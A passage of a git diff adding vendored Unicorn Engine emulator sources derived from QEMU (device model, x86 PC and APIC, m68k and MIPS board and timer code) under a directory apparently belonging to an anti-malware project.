(local_err != NULL) { + goto child_realize_fail; + } + } + if (dev->hotplugged) { + device_reset(dev); + } + dev->pending_deleted_event = false; + } else if (!value && dev->realized) { + Error **local_errp = NULL; + QLIST_FOREACH(bus, &dev->child_bus, sibling) { + local_errp = local_err ? NULL : &local_err; + object_property_set_bool(uc, OBJECT(bus), false, "realized", + local_errp); + } + if (dc->unrealize) { + local_errp = local_err ? NULL : &local_err; + dc->unrealize(dev, local_errp); + } + dev->pending_deleted_event = true; + } + + if (local_err != NULL) { + goto fail; + } + + dev->realized = value; + return 0; + +child_realize_fail: + QLIST_FOREACH(bus, &dev->child_bus, sibling) { + object_property_set_bool(uc, OBJECT(bus), false, "realized", + NULL); + } + +post_realize_fail: + if (dc->unrealize) { + dc->unrealize(dev, NULL); + } + +fail: + error_propagate(errp, local_err); + return -1; +} + +static void device_initfn(struct uc_struct *uc, Object *obj, void *opaque) +{ + DeviceState *dev = DEVICE(uc, obj); + + dev->instance_id_alias = -1; + dev->realized = false; + + object_property_add_bool(uc, obj, "realized", + device_get_realized, device_set_realized, NULL); +} + +static void device_post_init(struct uc_struct *uc, Object *obj) +{ +} + +/* Unlink device from bus and free the structure. */ +static void device_finalize(struct uc_struct *uc, Object *obj, void *opaque) +{ +} + +static void device_class_base_init(ObjectClass *class, void *data) +{ +} + + +static void device_class_init(struct uc_struct *uc, ObjectClass *class, void *data) +{ +} + +void device_reset(DeviceState *dev) +{ +} + +Object *qdev_get_machine(struct uc_struct *uc) +{ + return container_get(uc, object_get_root(uc), "/machine"); +} + +static const TypeInfo device_type_info = { + TYPE_DEVICE, + TYPE_OBJECT, + + sizeof(DeviceClass), + sizeof(DeviceState), + NULL, + + device_initfn, + device_post_init, + device_finalize, + + NULL, + + device_class_init, + device_class_base_init, + NULL, + + true, +}; + +static void qbus_initfn(struct uc_struct *uc, Object *obj, void *opaque) +{ +} + +static void bus_class_init(struct uc_struct *uc, ObjectClass *class, void *data) +{ + class->unparent = bus_unparent; +} + +static void qbus_finalize(struct uc_struct *uc, Object *obj, void *opaque) +{ + BusState *bus = BUS(uc, obj); + + g_free((char *)bus->name); +} + +static const TypeInfo bus_info = { + TYPE_BUS, + TYPE_OBJECT, + + sizeof(BusClass), + sizeof(BusState), + NULL, + + qbus_initfn, + NULL, + qbus_finalize, + + NULL, + + bus_class_init, + NULL, + NULL, + + true, +}; + +void qdev_register_types(struct uc_struct *uc) +{ + type_register_static(uc, &bus_info); + type_register_static(uc, &device_type_info); +} diff --git a/ai_anti_malware/unicorn/unicorn-master/qemu/hw/i386/Makefile.objs b/ai_anti_malware/unicorn/unicorn-master/qemu/hw/i386/Makefile.objs new file mode 100644 index 0000000..649888e --- /dev/null +++ b/ai_anti_malware/unicorn/unicorn-master/qemu/hw/i386/Makefile.objs @@ -0,0 +1 @@ +obj-y += pc.o pc_piix.o diff --git a/ai_anti_malware/unicorn/unicorn-master/qemu/hw/i386/pc.c b/ai_anti_malware/unicorn/unicorn-master/qemu/hw/i386/pc.c new file mode 100644 index 0000000..6377bee --- /dev/null +++ b/ai_anti_malware/unicorn/unicorn-master/qemu/hw/i386/pc.c @@ -0,0 +1,181 @@ +/* + * QEMU PC System Emulator + * + * Copyright (c) 2003-2004 Fabrice Bellard + * + * Permission is hereby granted, free of charge, to any person obtaining a copy + * of this software and associated documentation files (the "Software"), to deal + * in the Software without restriction, including without limitation the rights + * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell + * copies of the Software, and to permit persons to whom the Software is + * furnished to do so, subject to the following conditions: + * + * The above copyright notice and this permission notice shall be included in + * all copies or substantial portions of the Software. + * + * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR + * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, + * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL + * THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER + * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, + * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN + * THE SOFTWARE. + */ +/* Modified for Unicorn Engine by Nguyen Anh Quynh, 2015 */ + +#include "hw/hw.h" +#include "hw/i386/pc.h" +#include "sysemu/sysemu.h" +#include "qapi-visit.h" + + +/* XXX: add IGNNE support */ +void cpu_set_ferr(CPUX86State *s) +{ +// qemu_irq_raise(ferr_irq); +} + +/* TSC handling */ +uint64_t cpu_get_tsc(CPUX86State *env) +{ + return cpu_get_ticks(); +} + +/* SMM support */ + +static cpu_set_smm_t smm_set; +static void *smm_arg; + +void cpu_smm_register(cpu_set_smm_t callback, void *arg) +{ + assert(smm_set == NULL); + assert(smm_arg == NULL); + smm_set = callback; + smm_arg = arg; +} + +void cpu_smm_update(CPUX86State *env) +{ + struct uc_struct *uc = x86_env_get_cpu(env)->parent_obj.uc; + + if (smm_set && smm_arg && CPU(x86_env_get_cpu(env)) == uc->cpu) { + smm_set(!!(env->hflags & HF_SMM_MASK), smm_arg); + } +} + +/* IRQ handling */ +int cpu_get_pic_interrupt(CPUX86State *env) +{ + X86CPU *cpu = x86_env_get_cpu(env); + int intno; + + intno = apic_get_interrupt(cpu->apic_state); + if (intno >= 0) { + return intno; + } + /* read the irq from the PIC */ + if (!apic_accept_pic_intr(cpu->apic_state)) { + return -1; + } + + return 0; +} + +DeviceState *cpu_get_current_apic(struct uc_struct *uc) +{ + if (uc->current_cpu) { + X86CPU *cpu = X86_CPU(uc, uc->current_cpu); + return cpu->apic_state; + } else { + return NULL; + } +} + +static X86CPU *pc_new_cpu(struct uc_struct *uc, const char *cpu_model, int64_t apic_id, + Error **errp) +{ + X86CPU *cpu; + Error *local_err = NULL; + + cpu = cpu_x86_create(uc, cpu_model, &local_err); + if (local_err != NULL) { + error_propagate(errp, local_err); + return NULL; + } + + object_property_set_int(uc, OBJECT(cpu), apic_id, "apic-id", &local_err); + object_property_set_bool(uc, OBJECT(cpu), true, "realized", &local_err); + + if (local_err) { + error_propagate(errp, local_err); + object_unref(uc, OBJECT(cpu)); + cpu = NULL; + } + return cpu; +} + +int pc_cpus_init(struct uc_struct *uc, const char *cpu_model) +{ + int i; + Error *error = NULL; + + /* init CPUs */ + if (cpu_model == NULL) { +#ifdef TARGET_X86_64 + cpu_model = "qemu64"; +#else + cpu_model = "qemu32"; +#endif + } + + for (i = 0; i < smp_cpus; i++) { + uc->cpu = (CPUState *)pc_new_cpu(uc, cpu_model, x86_cpu_apic_id_from_index(i), &error); + if (error) { + //error_report("%s", error_get_pretty(error)); + error_free(error); + return -1; + } + } + + return 0; +} + +static void pc_machine_initfn(struct uc_struct *uc, Object *obj, void *opaque) +{ +} + +static void pc_machine_class_init(struct uc_struct *uc, ObjectClass *oc, void *data) +{ +} + +static const TypeInfo pc_machine_info = { + TYPE_PC_MACHINE, + TYPE_MACHINE, + + sizeof(PCMachineClass), + sizeof(PCMachineState), + NULL, + + pc_machine_initfn, + NULL, + NULL, + + NULL, + + pc_machine_class_init, + NULL, + NULL, + + true, + + NULL, + NULL, + + // should this be added somehow? + //.interfaces = (InterfaceInfo[]) { { } }, +}; + +void pc_machine_register_types(struct uc_struct *uc) +{ + type_register_static(uc, &pc_machine_info); +} diff --git a/ai_anti_malware/unicorn/unicorn-master/qemu/hw/i386/pc_piix.c b/ai_anti_malware/unicorn/unicorn-master/qemu/hw/i386/pc_piix.c new file mode 100644 index 0000000..a5ea862 --- /dev/null +++ b/ai_anti_malware/unicorn/unicorn-master/qemu/hw/i386/pc_piix.c @@ -0,0 +1,78 @@ +/* + * QEMU PC System Emulator + * + * Copyright (c) 2003-2004 Fabrice Bellard + * + * Permission is hereby granted, free of charge, to any person obtaining a copy + * of this software and associated documentation files (the "Software"), to deal + * in the Software without restriction, including without limitation the rights + * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell + * copies of the Software, and to permit persons to whom the Software is + * furnished to do so, subject to the following conditions: + * + * The above copyright notice and this permission notice shall be included in + * all copies or substantial portions of the Software. + * + * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR + * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, + * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL + * THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER + * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, + * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN + * THE SOFTWARE. + */ +/* Modified for Unicorn Engine by Nguyen Anh Quynh, 2015 */ + +#include "hw/i386/pc.h" +#include "hw/boards.h" +#include "exec/address-spaces.h" +#include "uc_priv.h" + + +/* Make sure that guest addresses aligned at 1Gbyte boundaries get mapped to + * host addresses aligned at 1Gbyte boundaries. This way we can use 1GByte + * pages in the host. + */ +#define GIGABYTE_ALIGN true + +/* PC hardware initialisation */ +static int pc_init1(struct uc_struct *uc, MachineState *machine) +{ + return pc_cpus_init(uc, machine->cpu_model); +} + +static int pc_init_pci(struct uc_struct *uc, MachineState *machine) +{ + return pc_init1(uc, machine); +} + +static QEMUMachine pc_i440fx_machine_v2_2 = { + "pc_piix", + "pc-i440fx-2.2", + pc_init_pci, + NULL, + 255, + 1, + UC_ARCH_X86, // X86 +}; + +static void pc_generic_machine_class_init(struct uc_struct *uc, ObjectClass *oc, void *data) +{ + MachineClass *mc = MACHINE_CLASS(uc, oc); + QEMUMachine *qm = data; + + mc->family = qm->family; + mc->name = qm->name; + mc->init = qm->init; + mc->reset = qm->reset; + mc->max_cpus = qm->max_cpus; + mc->is_default = qm->is_default; + mc->arch = qm->arch; +} + +void pc_machine_init(struct uc_struct *uc); +void pc_machine_init(struct uc_struct *uc) +{ + qemu_register_machine(uc, &pc_i440fx_machine_v2_2, + TYPE_PC_MACHINE, pc_generic_machine_class_init); +} diff --git a/ai_anti_malware/unicorn/unicorn-master/qemu/hw/intc/Makefile.objs b/ai_anti_malware/unicorn/unicorn-master/qemu/hw/intc/Makefile.objs new file mode 100644 index 0000000..7de05c6 --- /dev/null +++ b/ai_anti_malware/unicorn/unicorn-master/qemu/hw/intc/Makefile.objs @@ -0,0 +1 @@ +obj-$(CONFIG_APIC) += apic.o apic_common.o diff --git a/ai_anti_malware/unicorn/unicorn-master/qemu/hw/intc/apic.c b/ai_anti_malware/unicorn/unicorn-master/qemu/hw/intc/apic.c new file mode 100644 index 0000000..957a66e --- /dev/null +++ b/ai_anti_malware/unicorn/unicorn-master/qemu/hw/intc/apic.c @@ -0,0 +1,230 @@ +/* + * APIC support + * + * Copyright (c) 2004-2005 Fabrice Bellard + * + * This library is free software; you can redistribute it and/or + * modify it under the terms of the GNU Lesser General Public + * License as published by the Free Software Foundation; either + * version 2 of the License, or (at your option) any later version. + * + * This library is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * Lesser General Public License for more details. + * + * You should have received a copy of the GNU Lesser General Public + * License along with this library; if not, see <http://www.gnu.org/licenses/> + */ +#include "qemu/thread.h" +#include "hw/i386/apic_internal.h" +#include "hw/i386/apic.h" +#include "qemu/host-utils.h" +#include "hw/i386/pc.h" + +#include "exec/address-spaces.h" + +#define MAX_APIC_WORDS 8 + +#define SYNC_FROM_VAPIC 0x1 +#define SYNC_TO_VAPIC 0x2 +#define SYNC_ISR_IRR_TO_VAPIC 0x4 + +static void apic_update_irq(APICCommonState *s); + +/* Find first bit starting from msb */ +static int apic_fls_bit(uint32_t value) +{ + return 31 - clz32(value); +} + +/* return -1 if no bit is set */ +static int get_highest_priority_int(uint32_t *tab) +{ + int i; + for (i = 7; i >= 0; i--) { + if (tab[i] != 0) { + return i * 32 + apic_fls_bit(tab[i]); + } + } + return -1; +} + +static void apic_sync_vapic(APICCommonState *s, int sync_type) +{ + VAPICState vapic_state; + //size_t length; + //off_t start; + int vector; + + if (!s->vapic_paddr) { + return; + } + if (sync_type & SYNC_FROM_VAPIC) { + cpu_physical_memory_read(NULL, s->vapic_paddr, &vapic_state, + sizeof(vapic_state)); + s->tpr = vapic_state.tpr; + } + if (sync_type & (SYNC_TO_VAPIC | SYNC_ISR_IRR_TO_VAPIC)) { + //start = offsetof(VAPICState, isr); + //length = offsetof(VAPICState, enabled) - offsetof(VAPICState, isr); + + if (sync_type & SYNC_TO_VAPIC) { + + vapic_state.tpr = s->tpr; + vapic_state.enabled = 1; + //start = 0; + //length = sizeof(VAPICState); + } + + vector = get_highest_priority_int(s->isr); + if (vector < 0) { + vector = 0; + } + vapic_state.isr = vector & 0xf0; + + vapic_state.zero = 0; + + vector = get_highest_priority_int(s->irr); + if (vector < 0) { + vector = 0; + } + vapic_state.irr = vector & 0xff; + + //cpu_physical_memory_write_rom(&address_space_memory, + // s->vapic_paddr + start, + // ((void *)&vapic_state) + start, length); + // FIXME qq + } +} + +static void apic_vapic_base_update(APICCommonState *s) +{ + apic_sync_vapic(s, SYNC_TO_VAPIC); +} + +#define foreach_apic(apic, deliver_bitmask, code) \ +{\ + int __i, __j;\ + for(__i = 0; __i < MAX_APIC_WORDS; __i++) {\ + uint32_t __mask = deliver_bitmask[__i];\ + if (__mask) {\ + for(__j = 0; __j < 32; __j++) {\ + if (__mask & (1U << __j)) {\ + apic = local_apics[__i * 32 + __j];\ + if (apic) {\ + code;\ + }\ + }\ + }\ + }\ + }\ +} + +static void apic_set_base(APICCommonState *s, uint64_t val) +{ + s->apicbase = (val & 0xfffff000) | + (s->apicbase & (MSR_IA32_APICBASE_BSP | MSR_IA32_APICBASE_ENABLE)); + /* if disabled, cannot be enabled again */ + if (!(val & MSR_IA32_APICBASE_ENABLE)) { + s->apicbase &= ~MSR_IA32_APICBASE_ENABLE; + cpu_clear_apic_feature(&s->cpu->env); + s->spurious_vec &= ~APIC_SV_ENABLE; + } +} + +static void apic_set_tpr(APICCommonState *s, uint8_t val) +{ + /* Updates from cr8 are ignored while the VAPIC is active */ + if (!s->vapic_paddr) { + s->tpr = val << 4; + apic_update_irq(s); + } +} + +static uint8_t apic_get_tpr(APICCommonState *s) +{ + apic_sync_vapic(s, SYNC_FROM_VAPIC); + return s->tpr >> 4; +} + +/* signal the CPU if an irq is pending */ +static void apic_update_irq(APICCommonState *s) +{ +} + +void apic_poll_irq(DeviceState *dev) +{ +} + +void apic_sipi(DeviceState *dev) +{ +} + +int apic_get_interrupt(DeviceState *dev) +{ + return 0; +} + +int apic_accept_pic_intr(DeviceState *dev) +{ + return 0; +} + +static void apic_pre_save(APICCommonState *s) +{ + apic_sync_vapic(s, SYNC_FROM_VAPIC); +} + +static void apic_post_load(APICCommonState *s) +{ +#if 0 + if (s->timer_expiry != -1) { + timer_mod(s->timer, s->timer_expiry); + } else { + timer_del(s->timer); + } +#endif +} + +static int apic_realize(struct uc_struct *uc, DeviceState *dev, Error **errp) +{ + return 0; +} + +static void apic_class_init(struct uc_struct *uc, ObjectClass *klass, void *data) +{ + APICCommonClass *k = APIC_COMMON_CLASS(uc, klass); + + k->realize = apic_realize; + k->set_base = apic_set_base; + k->set_tpr = apic_set_tpr; + k->get_tpr = apic_get_tpr; + k->vapic_base_update = apic_vapic_base_update; + k->pre_save = apic_pre_save; + k->post_load = apic_post_load; + //printf("... init apic class\n"); +} + +static const TypeInfo apic_info = { + "apic", + TYPE_APIC_COMMON, + + 0, + sizeof(APICCommonState), + NULL, + + NULL, + NULL, + NULL, + + NULL, + + apic_class_init, +}; + +void apic_register_types(struct uc_struct *uc) +{ + //printf("... register apic types\n"); + type_register_static(uc, &apic_info); +} diff --git a/ai_anti_malware/unicorn/unicorn-master/qemu/hw/intc/apic_common.c b/ai_anti_malware/unicorn/unicorn-master/qemu/hw/intc/apic_common.c new file mode 100644 index 0000000..ad7b35a --- /dev/null +++ b/ai_anti_malware/unicorn/unicorn-master/qemu/hw/intc/apic_common.c @@ -0,0 +1,274 @@ +/* + * APIC support - common bits of emulated and KVM kernel model + * + * Copyright (c) 2004-2005 Fabrice Bellard + * Copyright (c) 2011 Jan Kiszka, Siemens AG + * + * This library is free software; you can redistribute it and/or + * modify it under the terms of the GNU Lesser General Public + * License as published by the Free Software Foundation; either + * version 2 of the License, or (at your option) any later version. + * + * This library is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * Lesser General Public License for more details. + * + * You should have received a copy of the GNU Lesser General Public + * License along with this library; if not, see <http://www.gnu.org/licenses/> + */ +#include "hw/i386/apic.h" +#include "hw/i386/apic_internal.h" +#include "hw/qdev.h" + +#include "uc_priv.h" + + +void cpu_set_apic_base(struct uc_struct *uc, DeviceState *dev, uint64_t val) +{ + if (dev) { + APICCommonState *s = APIC_COMMON(uc, dev); + APICCommonClass *info = APIC_COMMON_GET_CLASS(uc, s); + info->set_base(s, val); + } +} + +uint64_t cpu_get_apic_base(struct uc_struct *uc, DeviceState *dev) +{ + if (dev) { + APICCommonState *s = APIC_COMMON(uc, dev); + return s->apicbase; + } else { + return MSR_IA32_APICBASE_BSP; + } +} + +void cpu_set_apic_tpr(struct uc_struct *uc, DeviceState *dev, uint8_t val) +{ + APICCommonState *s; + APICCommonClass *info; + + if (!dev) { + return; + } + + s = APIC_COMMON(uc, dev); + info = APIC_COMMON_GET_CLASS(uc, s); + + info->set_tpr(s, val); +} + +uint8_t cpu_get_apic_tpr(struct uc_struct *uc, DeviceState *dev) +{ + APICCommonState *s; + APICCommonClass *info; + + if (!dev) { + return 0; + } + + s = APIC_COMMON(uc, dev); + info = APIC_COMMON_GET_CLASS(uc, s); + + return info->get_tpr(s); +} + +void apic_enable_vapic(struct uc_struct *uc, DeviceState *dev, hwaddr paddr) +{ + APICCommonState *s = APIC_COMMON(uc, dev); + APICCommonClass *info = APIC_COMMON_GET_CLASS(uc, s); + + s->vapic_paddr = paddr; + info->vapic_base_update(s); +} + +void apic_handle_tpr_access_report(DeviceState *dev, target_ulong ip, + TPRAccess access) +{ + //APICCommonState *s = APIC_COMMON(NULL, dev); + + //vapic_report_tpr_access(s->vapic, CPU(s->cpu), ip, access); +} + +bool apic_next_timer(APICCommonState *s, int64_t current_time) +{ + int64_t d; + + /* We need to store the timer state separately to support APIC + * implementations that maintain a non-QEMU timer, e.g. inside the + * host kernel. This open-coded state allows us to migrate between + * both models. */ + s->timer_expiry = -1; + + if (s->lvt[APIC_LVT_TIMER] & APIC_LVT_MASKED) { + return false; + } + + d = (current_time - s->initial_count_load_time) >> s->count_shift; + + if (s->lvt[APIC_LVT_TIMER] & APIC_LVT_TIMER_PERIODIC) { + if (!s->initial_count) { + return false; + } + d = ((d / ((uint64_t)s->initial_count + 1)) + 1) * + ((uint64_t)s->initial_count + 1); + } else { + if (d >= s->initial_count) { + return false; + } + d = (uint64_t)s->initial_count + 1; + } + s->next_time = s->initial_count_load_time + (d << s->count_shift); + s->timer_expiry = s->next_time; + return true; +} + +void apic_init_reset(struct uc_struct *uc, DeviceState *dev) +{ + APICCommonState *s = APIC_COMMON(uc, dev); + APICCommonClass *info = APIC_COMMON_GET_CLASS(uc, s); + int i; + + if (!s) { + return; + } + s->tpr = 0; + s->spurious_vec = 0xff; + s->log_dest = 0; + s->dest_mode = 0xf; + memset(s->isr, 0, sizeof(s->isr)); + memset(s->tmr, 0, sizeof(s->tmr)); + memset(s->irr, 0, sizeof(s->irr)); + for (i = 0; i < APIC_LVT_NB; i++) { + s->lvt[i] = APIC_LVT_MASKED; + } + s->esr = 0; + memset(s->icr, 0, sizeof(s->icr)); + s->divide_conf = 0; + s->count_shift = 0; + s->initial_count = 0; + s->initial_count_load_time = 0; + s->next_time = 0; + s->wait_for_sipi = !cpu_is_bsp(s->cpu); + + if (s->timer) { + // timer_del(s->timer); + } + s->timer_expiry = -1; + + if (info->reset) { + info->reset(s); + } +} + +void apic_designate_bsp(struct uc_struct *uc, DeviceState *dev) +{ + APICCommonState *s; + + if (dev == NULL) { + return; + } + + s = APIC_COMMON(uc, dev); + s->apicbase |= MSR_IA32_APICBASE_BSP; +} + +static void apic_reset_common(struct uc_struct *uc, DeviceState *dev) +{ + APICCommonState *s = APIC_COMMON(uc, dev); + APICCommonClass *info = APIC_COMMON_GET_CLASS(uc, s); + bool bsp; + + bsp = cpu_is_bsp(s->cpu); + s->apicbase = APIC_DEFAULT_ADDRESS | + (bsp ? MSR_IA32_APICBASE_BSP : 0) | MSR_IA32_APICBASE_ENABLE; + + s->vapic_paddr = 0; + info->vapic_base_update(s); + + apic_init_reset(uc, dev); + + if (bsp) { + /* + * LINT0 delivery mode on CPU #0 is set to ExtInt at initialization + * time typically by BIOS, so PIC interrupt can be delivered to the + * processor when local APIC is enabled. + */ + s->lvt[APIC_LVT_LINT0] = 0x700; + } +} + +static int apic_common_realize(struct uc_struct *uc, DeviceState *dev, Error **errp) +{ + APICCommonState *s = APIC_COMMON(uc, dev); + APICCommonClass *info; + + if (uc->apic_no >= MAX_APICS) { + error_setg(errp, "%s initialization failed.", + object_get_typename(OBJECT(dev))); + return -1; + } + s->idx = uc->apic_no++; + + info = APIC_COMMON_GET_CLASS(uc, s); + info->realize(uc, dev, errp); + if (!uc->mmio_registered) { + ICCBus *b = ICC_BUS(uc, qdev_get_parent_bus(dev)); + memory_region_add_subregion(b->apic_address_space, 0, &s->io_memory); + uc->mmio_registered = true; + } + + /* Note: We need at least 1M to map the VAPIC option ROM */ + if (!uc->vapic && s->vapic_control & VAPIC_ENABLE_MASK) { + // ram_size >= 1024 * 1024) { // FIXME + uc->vapic = NULL; + } + s->vapic = uc->vapic; + if (uc->apic_report_tpr_access && info->enable_tpr_reporting) { + info->enable_tpr_reporting(s, true); + } + + return 0; +} + +static void apic_common_class_init(struct uc_struct *uc, ObjectClass *klass, void *data) +{ + ICCDeviceClass *idc = ICC_DEVICE_CLASS(uc, klass); + DeviceClass *dc = DEVICE_CLASS(uc, klass); + + dc->reset = apic_reset_common; + idc->realize = apic_common_realize; + /* + * Reason: APIC and CPU need to be wired up by + * x86_cpu_apic_create() + */ + dc->cannot_instantiate_with_device_add_yet = true; + //printf("... init apic common class\n"); +} + +static const TypeInfo apic_common_type = { + TYPE_APIC_COMMON, + TYPE_DEVICE, + + sizeof(APICCommonClass), + sizeof(APICCommonState), + NULL, + + NULL, + NULL, + NULL, + + NULL, + + apic_common_class_init, + NULL, + NULL, + + true, +}; + +void apic_common_register_types(struct uc_struct *uc) +{ + //printf("... register apic common\n"); + type_register_static(uc, &apic_common_type); +} diff --git a/ai_anti_malware/unicorn/unicorn-master/qemu/hw/m68k/Makefile.objs b/ai_anti_malware/unicorn/unicorn-master/qemu/hw/m68k/Makefile.objs new file mode 100644 index 0000000..05b7a67 --- /dev/null +++ b/ai_anti_malware/unicorn/unicorn-master/qemu/hw/m68k/Makefile.objs @@ -0,0 +1 @@ +obj-y += dummy_m68k.o diff --git a/ai_anti_malware/unicorn/unicorn-master/qemu/hw/m68k/dummy_m68k.c b/ai_anti_malware/unicorn/unicorn-master/qemu/hw/m68k/dummy_m68k.c new file mode 100644 index 0000000..d155857 --- /dev/null +++ b/ai_anti_malware/unicorn/unicorn-master/qemu/hw/m68k/dummy_m68k.c @@ -0,0 +1,50 @@ +/* + * Dummy board with just RAM and CPU for use as an ISS. + * + * Copyright (c) 2007 CodeSourcery. + * + * This code is licensed under the GPL + */ + +/* Unicorn Emulator Engine */ +/* By Nguyen Anh Quynh, 2015 */ + +#include "hw/hw.h" +#include "hw/m68k/m68k.h" +#include "hw/boards.h" +#include "exec/address-spaces.h" + + +/* Board init. */ +static int dummy_m68k_init(struct uc_struct *uc, MachineState *machine) +{ + const char *cpu_model = machine->cpu_model; + CPUM68KState *env; + + if (!cpu_model) + cpu_model = "cfv4e"; + + env = cpu_init(uc, cpu_model); + if (!env) { + fprintf(stderr, "Unable to find m68k CPU definition\n"); + return -1; + } + + /* Initialize CPU registers. */ + env->vbr = 0; + env->pc = 0; + + return 0; +} + +void dummy_m68k_machine_init(struct uc_struct *uc) +{ + static QEMUMachine dummy_m68k_machine = { 0 }; + dummy_m68k_machine.name = "dummy", + dummy_m68k_machine.init = dummy_m68k_init, + dummy_m68k_machine.is_default = 1, + dummy_m68k_machine.arch = UC_ARCH_M68K, + + //printf(">>> dummy_m68k_machine_init\n"); + qemu_register_machine(uc, &dummy_m68k_machine, TYPE_MACHINE, NULL); +} diff --git a/ai_anti_malware/unicorn/unicorn-master/qemu/hw/mips/Makefile.objs b/ai_anti_malware/unicorn/unicorn-master/qemu/hw/mips/Makefile.objs new file mode 100644 index 0000000..910e23b --- /dev/null +++ b/ai_anti_malware/unicorn/unicorn-master/qemu/hw/mips/Makefile.objs @@ -0,0 +1,2 @@ +obj-y += mips_r4k.o +obj-y += addr.o cputimer.o diff --git a/ai_anti_malware/unicorn/unicorn-master/qemu/hw/mips/addr.c b/ai_anti_malware/unicorn/unicorn-master/qemu/hw/mips/addr.c new file mode 100644 index 0000000..ff3b952 --- /dev/null +++ b/ai_anti_malware/unicorn/unicorn-master/qemu/hw/mips/addr.c @@ -0,0 +1,39 @@ +/* + * QEMU MIPS address translation support + * + * Permission is hereby granted, free of charge, to any person obtaining a copy + * of this software and associated documentation files (the "Software"), to deal + * in the Software without restriction, including without limitation the rights + * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell + * copies of the Software, and to permit persons to whom the Software is + * furnished to do so, subject to the following conditions: + * + * The above copyright notice and this permission notice shall be included in + * all copies or substantial portions of the Software. + * + * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR + * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, + * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL + * THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER + * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, + * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN + * THE SOFTWARE. + */ + +#include "hw/hw.h" +#include "hw/mips/cpudevs.h" + +uint64_t cpu_mips_kseg0_to_phys(void *opaque, uint64_t addr) +{ + return addr & 0x1fffffffll; +} + +uint64_t cpu_mips_phys_to_kseg0(void *opaque, uint64_t addr) +{ + return addr | ~0x7fffffffll; +} + +uint64_t cpu_mips_kvm_um_phys_to_kseg0(void *opaque, uint64_t addr) +{ + return addr | 0x40000000ll; +} diff --git a/ai_anti_malware/unicorn/unicorn-master/qemu/hw/mips/cputimer.c b/ai_anti_malware/unicorn/unicorn-master/qemu/hw/mips/cputimer.c new file mode 100644 index 0000000..71d2881 --- /dev/null +++ b/ai_anti_malware/unicorn/unicorn-master/qemu/hw/mips/cputimer.c @@ -0,0 +1,131 @@ +/* + * QEMU MIPS timer support + * + * Permission is hereby granted, free of charge, to any person obtaining a copy + * of this software and associated documentation files (the "Software"), to deal + * in the Software without restriction, including without limitation the rights + * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell + * copies of the Software, and to permit persons to whom the Software is + * furnished to do so, subject to the following conditions: + * + * The above copyright notice and this permission notice shall be included in + * all copies or substantial portions of the Software. + * + * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR + * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, + * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL + * THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER + * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, + * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN + * THE SOFTWARE. + */ + +#include "hw/hw.h" +#include "hw/mips/cpudevs.h" +#include "qemu/timer.h" + +#define TIMER_FREQ 100 * 1000 * 1000 + +/* XXX: do not use a global */ +uint32_t cpu_mips_get_random (CPUMIPSState *env) +{ + static uint32_t lfsr = 1; + static uint32_t prev_idx = 0; + uint32_t idx; + /* Don't return same value twice, so get another value */ + do { + lfsr = (lfsr >> 1) ^ ((0-(lfsr & 1u)) & 0xd0000001u); + idx = lfsr % (env->tlb->nb_tlb - env->CP0_Wired) + env->CP0_Wired; + } while (idx == prev_idx); + prev_idx = idx; + return idx; +} + +/* MIPS R4K timer */ +static void cpu_mips_timer_update(CPUMIPSState *env) +{ +#if 0 + uint64_t now, next; + uint32_t wait; + + now = qemu_clock_get_ns(QEMU_CLOCK_VIRTUAL); + wait = env->CP0_Compare - env->CP0_Count - + (uint32_t)muldiv64(now, TIMER_FREQ, get_ticks_per_sec()); + next = now + muldiv64(wait, get_ticks_per_sec(), TIMER_FREQ); + timer_mod(env->timer, next); +#endif +} + +#if 0 +/* Expire the timer. */ +static void cpu_mips_timer_expire(CPUMIPSState *env) +{ + cpu_mips_timer_update(env); + if (env->insn_flags & ISA_MIPS32R2) { + env->CP0_Cause |= 1 << CP0Ca_TI; + } + //qemu_irq_raise(env->irq[(env->CP0_IntCtl >> CP0IntCtl_IPTI) & 0x7]); +} +#endif + +uint32_t cpu_mips_get_count 